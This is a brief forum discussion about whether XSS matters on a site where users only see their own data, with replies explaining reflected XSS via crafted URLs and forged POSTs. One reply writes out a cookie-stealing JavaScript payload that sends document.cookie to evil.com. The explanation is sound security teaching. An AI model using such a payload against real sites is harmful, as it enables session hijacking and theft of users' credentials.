I asked this question once on SO and never really got a "great" answer I was after. If my site will only ever allow users to see their own submitted data, and never ever data another user has submitted (i.e. no general 'posts' etc) - then is there actually a XSS risk on my site? So I'm curious if an attacker can gain anything by looking at their own XSS attack? http://stackoverflow.com/q/10265624/1317935
Yes. If you had an XSS vulnerability via a GET querystring parameter, an attacker could encourage a victim to visit a URL which exploited the vulnerability (or, say, iframed the URL in another page which they got the victim to visit), then the attacker could, say steal the user's auth cookie with something like (new Image).src = " http://evil.com/stolencookie=" + document.cookie; .
Re: Google's XSS game
#41POSTs can be forged too, if another vulnerable site permits Javascript on their domain accidentally (among other ways, but that's the big one).